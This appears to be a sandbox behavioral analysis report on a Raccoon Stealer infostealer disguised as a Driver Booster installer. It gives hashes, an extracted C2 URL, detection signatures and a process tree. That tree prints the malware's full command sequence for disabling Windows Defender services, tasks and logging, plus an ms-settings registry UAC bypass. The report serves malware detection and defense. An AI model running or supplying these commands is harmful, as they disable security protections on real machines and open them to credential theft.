General
Target

c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exe

Filesize

23MB

Completed

12-05-2022 00:04

Task

behavioral1

Score
10/10
MD5

5e09313befea3f8ef5567f724ada60fe

SHA1

48fab70a85e6da34fa0070163f7ea6ac16fc5d37

SHA256

c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8

SHA256

9df529de88a8b8c157f7deac7e3998cca8f0dabeebda58f6dbc6ca3c22970897a0b7a51fab3562462b65de8e7830b3437612ab6ae999b90607007d1ba0c20598

Malware Config

Extracted

Family

raccoon

Botnet

c763e433ef51ff4b6c545800e4ba3b3b1a2ea077

Attributes
url4cnc
https://telete.in/jbitchsucks
rc4.plain
rc4.plain
Signatures 15

Filter: none

Defense Evasion
Discovery
Persistence
  • Modifies Windows Defender Real-time Protection settings

    TTPs

    Modify RegistryModify Existing ServiceDisabling Security Tools
  • Modifies security service
    reg.exe

    Tags

    TTPs

    Modify RegistryModify Existing Service

    Reported IOCs

    descriptioniocprocess
    Set value (int)\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"reg.exe
  • Raccoon

    Description

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload

    Reported IOCs

    resourceyara_rule
    behavioral1/memory/1068-164-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
    behavioral1/memory/1068-166-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
    behavioral1/memory/1068-168-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
    behavioral1/memory/1068-169-0x000000000043FCC3-mapping.dmpfamily_raccoon
    behavioral1/memory/1068-173-0x0000000000400000-0x0000000000493000-memory.dmpfamily_raccoon
  • Executes dropped EXE
    c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp7z.exe7z.exe7z.exe7z.exeiMtu_gQB.exeiMtu_gQB.exe

    Reported IOCs

    pidprocess
    1768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    840Driver.Booster.7.5.0.751.exe
    1884Driver.Booster.7.5.0.751.tmp
    16407z.exe
    15807z.exe
    18127z.exe
    18327z.exe
    588iMtu_gQB.exe
    1068iMtu_gQB.exe
  • Loads dropped DLL
    c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmpcmd.exe7z.exe7z.exe7z.exe7z.exeiMtu_gQB.exe

    Reported IOCs

    pidprocess
    904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exe
    1768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    1768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    840Driver.Booster.7.5.0.751.exe
    1884Driver.Booster.7.5.0.751.tmp
    1884Driver.Booster.7.5.0.751.tmp
    1884Driver.Booster.7.5.0.751.tmp
    1884Driver.Booster.7.5.0.751.tmp
    1884Driver.Booster.7.5.0.751.tmp
    1844cmd.exe
    16407z.exe
    15807z.exe
    18127z.exe
    18327z.exe
    1844cmd.exe
    588iMtu_gQB.exe
  • Suspicious use of SetThreadContext
    iMtu_gQB.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 588 set thread context of 1068588iMtu_gQB.exeiMtu_gQB.exe
  • Drops file in Program Files directory
    c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Program Files (x86)\Driver.Booster.7.5.0.751.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    File createdC:\Program Files (x86)\is-FN8OG.tmpc83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Delays execution with timeout.exe
    timeout.exe

    Tags

    Reported IOCs

    pidprocess
    1972timeout.exe
  • Modifies registry class
    reg.exereg.exe

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settingsreg.exe
    Key created\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settings\shellreg.exe
    Key created\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settings\shell\openreg.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\windows\\SysWow64\\cmd.exe /c REG ADD HKLM\\software\\microsoft\\windows\\currentversion\\policies\\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"reg.exe
    Key created\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settings\shell\open\commandreg.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute = " "reg.exe
    Key created\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000_CLASSES\ms-settings\shell\open\commandreg.exe
  • Suspicious behavior: EnumeratesProcesses
    c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.tmpiMtu_gQB.exe

    Reported IOCs

    pidprocess
    1768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    1768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    1884Driver.Booster.7.5.0.751.tmp
    588iMtu_gQB.exe
  • Suspicious use of AdjustPrivilegeToken
    7z.exe7z.exe7z.exe7z.exeiMtu_gQB.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeRestorePrivilege16407z.exe
    Token: 3516407z.exe
    Token: SeSecurityPrivilege16407z.exe
    Token: SeSecurityPrivilege16407z.exe
    Token: SeRestorePrivilege15807z.exe
    Token: 3515807z.exe
    Token: SeSecurityPrivilege15807z.exe
    Token: SeSecurityPrivilege15807z.exe
    Token: SeRestorePrivilege18127z.exe
    Token: 3518127z.exe
    Token: SeSecurityPrivilege18127z.exe
    Token: SeSecurityPrivilege18127z.exe
    Token: SeRestorePrivilege18327z.exe
    Token: 3518327z.exe
    Token: SeSecurityPrivilege18327z.exe
    Token: SeSecurityPrivilege18327z.exe
    Token: SeDebugPrivilege588iMtu_gQB.exe
  • Suspicious use of FindShellTrayWindow
    c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp

    Reported IOCs

    pidprocess
    1768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
  • Suspicious use of WriteProcessMemory
    c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exeWScript.execmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 904 wrote to memory of 1768904c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exec83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 1768 wrote to memory of 8401768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpDriver.Booster.7.5.0.751.exe
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 840 wrote to memory of 1884840Driver.Booster.7.5.0.751.exeDriver.Booster.7.5.0.751.tmp
    PID 1768 wrote to memory of 20081768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpWScript.exe
    PID 1768 wrote to memory of 20081768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpWScript.exe
    PID 1768 wrote to memory of 20081768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpWScript.exe
    PID 1768 wrote to memory of 20081768c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmpWScript.exe
    PID 2008 wrote to memory of 13762008WScript.execmd.exe
    PID 2008 wrote to memory of 13762008WScript.execmd.exe
    PID 2008 wrote to memory of 13762008WScript.execmd.exe
    PID 2008 wrote to memory of 13762008WScript.execmd.exe
    PID 1376 wrote to memory of 5681376cmd.exereg.exe
    PID 1376 wrote to memory of 5681376cmd.exereg.exe
    PID 1376 wrote to memory of 5681376cmd.exereg.exe
    PID 1376 wrote to memory of 5681376cmd.exereg.exe
    PID 1376 wrote to memory of 15401376cmd.exereg.exe
    PID 1376 wrote to memory of 15401376cmd.exereg.exe
    PID 1376 wrote to memory of 15401376cmd.exereg.exe
    PID 1376 wrote to memory of 15401376cmd.exereg.exe
    PID 1376 wrote to memory of 19681376cmd.exereg.exe
    PID 1376 wrote to memory of 19681376cmd.exereg.exe
    PID 1376 wrote to memory of 19681376cmd.exereg.exe
    PID 1376 wrote to memory of 19681376cmd.exereg.exe
    PID 1376 wrote to memory of 16401376cmd.exereg.exe
    PID 1376 wrote to memory of 16401376cmd.exereg.exe
    PID 1376 wrote to memory of 16401376cmd.exereg.exe
    PID 1376 wrote to memory of 16401376cmd.exereg.exe
    PID 1376 wrote to memory of 18241376cmd.exereg.exe
    PID 1376 wrote to memory of 18241376cmd.exereg.exe
    PID 1376 wrote to memory of 18241376cmd.exereg.exe
    PID 1376 wrote to memory of 18241376cmd.exereg.exe
    PID 1376 wrote to memory of 10481376cmd.exereg.exe
    PID 1376 wrote to memory of 10481376cmd.exereg.exe
    PID 1376 wrote to memory of 10481376cmd.exereg.exe
    PID 1376 wrote to memory of 10481376cmd.exereg.exe
    PID 1376 wrote to memory of 15801376cmd.exereg.exe
    PID 1376 wrote to memory of 15801376cmd.exereg.exe
    PID 1376 wrote to memory of 15801376cmd.exereg.exe
    PID 1376 wrote to memory of 15801376cmd.exereg.exe
    PID 1376 wrote to memory of 8721376cmd.exereg.exe
    PID 1376 wrote to memory of 8721376cmd.exereg.exe
    PID 1376 wrote to memory of 8721376cmd.exereg.exe
    PID 1376 wrote to memory of 8721376cmd.exereg.exe
    PID 1376 wrote to memory of 16681376cmd.exereg.exe
    PID 1376 wrote to memory of 16681376cmd.exereg.exe
    PID 1376 wrote to memory of 16681376cmd.exereg.exe
Processes 51
  • C:\Users\Admin\AppData\Local\Temp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exe
    "C:\Users\Admin\AppData\Local\Temp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exe"
    Loads dropped DLL
    Suspicious use of WriteProcessMemory
    PID:904
    • C:\Users\Admin\AppData\Local\Temp\is-3TE2N.tmp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-3TE2N.tmp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.tmp" /SL5="$60122,24416214,731648,C:\Users\Admin\AppData\Local\Temp\c83a43c9645f2716288130f311314b673e66e20084b432ce3b8ce8cdf39782c8.exe"
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Program Files (x86)\Driver.Booster.7.5.0.751.exe
        "C:\Program Files (x86)\Driver.Booster.7.5.0.751.exe"
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        PID:840
        • C:\Users\Admin\AppData\Local\Temp\is-PQB52.tmp\Driver.Booster.7.5.0.751.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-PQB52.tmp\Driver.Booster.7.5.0.751.tmp" /SL5="$101B4,19672100,361472,C:\Program Files (x86)\Driver.Booster.7.5.0.751.exe"
          Executes dropped EXE
          Loads dropped DLL
          Suspicious behavior: EnumeratesProcesses
          PID:1884
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\eICJv\MMF.vbs"
        Suspicious use of WriteProcessMemory
        PID:2008
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\ProgramData\eICJv\DisableOAVProtection.bat" "
          Suspicious use of WriteProcessMemory
          PID:1376
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            PID:568
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
            PID:1540
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
            PID:1968
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
            PID:1640
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
            PID:1824
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
            PID:1048
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
            PID:1580
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
            PID:872
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
            PID:1668
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
            PID:1756
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
            PID:852
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            PID:668
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
            PID:1556
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
            PID:268
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            PID:1980
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            PID:1976
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
            PID:1660
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            PID:1568
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
            PID:1840
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
            PID:108
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
            PID:2032
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
            PID:1228
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
            PID:1600
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            PID:1336
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            PID:968
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            PID:1616
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
            PID:1620
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
            PID:1672
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
            PID:1688
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
            PID:1068
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
            Modifies security service
            PID:1316
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
            PID:972
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\ProgramData\eICJv\DisableUserAccountControl.bat" "
          PID:2040
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\SOFTWARE\Classes\ms-settings\shell\open\command" /t REG_SZ /d "C:\windows\system32\cmd.exe /c REG ADD HKLM\software\microsoft\windows\currentversion\policies\system /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f" /f
            Modifies registry class
            PID:1788
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "hkcu\software\classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d " " /f
            Modifies registry class
            PID:1708
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\ProgramData\eICJv\main.bat" "
          Loads dropped DLL
          PID:1844
          • C:\Windows\SysWOW64\mode.com
            mode 65,10
            PID:1540
          • C:\ProgramData\eICJv\7z.exe
            7z.exe e file.zip -p___________26672pwd30077pwd1546___________ -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:1640
          • C:\ProgramData\eICJv\7z.exe
            7z.exe e extracted/file_3.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:1580
          • C:\ProgramData\eICJv\7z.exe
            7z.exe e extracted/file_2.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:1812
          • C:\ProgramData\eICJv\7z.exe
            7z.exe e extracted/file_1.zip -oextracted
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of AdjustPrivilegeToken
            PID:1832
          • C:\ProgramData\eICJv\iMtu_gQB.exe
            "iMtu_gQB.exe"
            Executes dropped EXE
            Loads dropped DLL
            Suspicious use of SetThreadContext
            Suspicious behavior: EnumeratesProcesses
            Suspicious use of AdjustPrivilegeToken
            PID:588
            • C:\ProgramData\eICJv\iMtu_gQB.exe
              "iMtu_gQB.exe"
              Executes dropped EXE
              PID:1068
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\ProgramData\eICJv\DiskRemoval.bat" "
          PID:1280
          • C:\Windows\SysWOW64\timeout.exe
            timeout /T 60 /NOBREAK
            Delays execution with timeout.exe
            PID:1972
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Execution
          Exfiltration
            Impact
              Initial Access
                Lateral Movement
                  Privilege Escalation
                    Replay Monitor
                    00:00 00:00
                    Downloads
                    • C:\Program Files (x86)\Driver.Booster.7.5.0.751.exe

                      MD5

                      8f338d9c273f69e1945a1199857f8344

                      SHA1

                      8e91bb8cafa23d1a7791bb7861b12904bb85d24e

                      SHA256

                      48052f534ffb591a0a70e45aced6fa54451553bc84421f2eabd630e076d7acf1

                      SHA512

                      2c81eb3caecd0d0a8d4711471bb56e7372e101b8ff2792af6df2327e7a0fef35799ed1e820e631b9cfd5c9562982b05e6e97b06ac86276c30bd7951eac453bdc

                    • C:\Program Files (x86)\Driver.Booster.7.5.0.751.exe

                      MD5

                      8f338d9c273f69e1945a1199857f8344

                      SHA1

                      8e91bb8cafa23d1a7791bb7861b12904bb85d24e

                      SHA256

                      48052f534ffb591a0a70e45aced6fa54451553bc84421f2eabd630e076d7acf1

                      SHA512

                      2c81eb3caecd0d0a8d4711471bb56e7372e101b8ff2792af6df2327e7a0fef35799ed1e820e631b9cfd5c9562982b05e6e97b06ac86276c30bd7951eac453bdc

                    • C:\ProgramData\eICJv\7z.dll

                      MD5

                      72491c7b87a7c2dd350b727444f13bb4

                      SHA1

                      1e9338d56db7ded386878eab7bb44b8934ab1bc7

                      SHA256

                      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

                      SHA512

                      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

                    • C:\ProgramData\eICJv\7z.exe

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                    • C:\ProgramData\eICJv\7z.exe

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                    • C:\ProgramData\eICJv\7z.exe

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                    • C:\ProgramData\eICJv\7z.exe

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                    • C:\ProgramData\eICJv\7z.exe

                      MD5

                      619f7135621b50fd1900ff24aade1524

                      SHA1

                      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

                      SHA256

                      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

                      SHA512

                      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

                    • C:\ProgramData\eICJv\DisableOAVProtection.bat

                      MD5

                      687cc2fd21ae18a05a907e3f0b27411b

                      SHA1

                      7a5129c77d6721ea8c3aceab90c1b5576638d14b

                      SHA256

                      6d09ddc3211e2840fcbcb463a22daf52664ef5d0f7234bb39ebeaaf5a0b8e632

                      SHA512

                      a69138598acb78954b99f986afa08d69ebd607a79d2733cfb904473651b34ff10aa6a6a08704f0d0bafafd962af7093b510addf3d1909523a8e8884c505e3b59

                    • C:\ProgramData\eICJv\DisableUserAccountControl.bat

                      MD5

                      e02bb39aab8a10eba07f113d7a548f9c

                      SHA1

                      2dcd92059dea564ef18b7bdbc931623a566628da

                      SHA256

                      96deb3e68b5bc4bd430624fd5d79113d0fb018b0afc401380b4662b4f0d9c617

                      SHA512

                      4b908a5b1eef6c799c057299d3b6c70aa567962edf42f390d330a5c6c0c2fd00872708f7f3d56d4323f7773ad1c15e663798e08f7c309c219555ee656de49223

                    • C:\ProgramData\eICJv\DiskRemoval.bat

                      MD5

                      8c3372370db3c9dc3198135ad3162d20

                      SHA1

                      a30bf13314631716719094e52fd6e132f442fdbf

                      SHA256

                      63c360cd9f78fc0753a498f45b86c377416881e5560ea3de7908051c93bc0931

                      SHA512

                      6740d093a86c1f5121ee3c6db351152b9f97b06b0bad2a18545964d2e9e2d557cff07e6461e0772c0caa46ee265f82bf85ea78c512a98d377e0b8b261e7cd347

                    • C:\ProgramData\eICJv\MMF.vbs

                      MD5

                      bd64d967bf72703baaf72bfb5b353b4b

                      SHA1

                      ce34e28d066cd9b18d7fd7877c61481dfb6767cb

                      SHA256

                      c79920873a439db91c50ec806da982920d8b3d06f9fdfda0b457acaa6220606a

                      SHA512

                      ef79c00a3d4c7a66872cc55400f4db14f106f5a5852798fc98df298f801cddc744d20648dfeea2bfee229496cf6cefbe2b92925b82e579c4f6fa26e4c507de43

                    • C:\ProgramData\eICJv\extracted\ANTIAV~1.DAT

                      MD5

                      8ceec208145b1d1f26fc47503edb0a80

                      SHA1

                      29933f0907627f967044df7e297c3b806f4ca39d

                      SHA256

                      ae3a9d6b2f49629750beedd4f0708b899b6b79b27cf904521e89e017794534eb

                      SHA512

                      26b2eed60d4217b8cb95a6e6674b6feaba16b5660e6420f78f2467e1e20c51637b29a8c79e44526a43cccea5827d120d5804957e4dcc429c4bbfcf14aae72b9b

                    • C:\ProgramData\eICJv\extracted\file_1.zip

                      MD5

                      506fce55cfc87027055296a6a2863826

                      SHA1

                      43752a732db857183b87d552377b00515427db39

                      SHA256

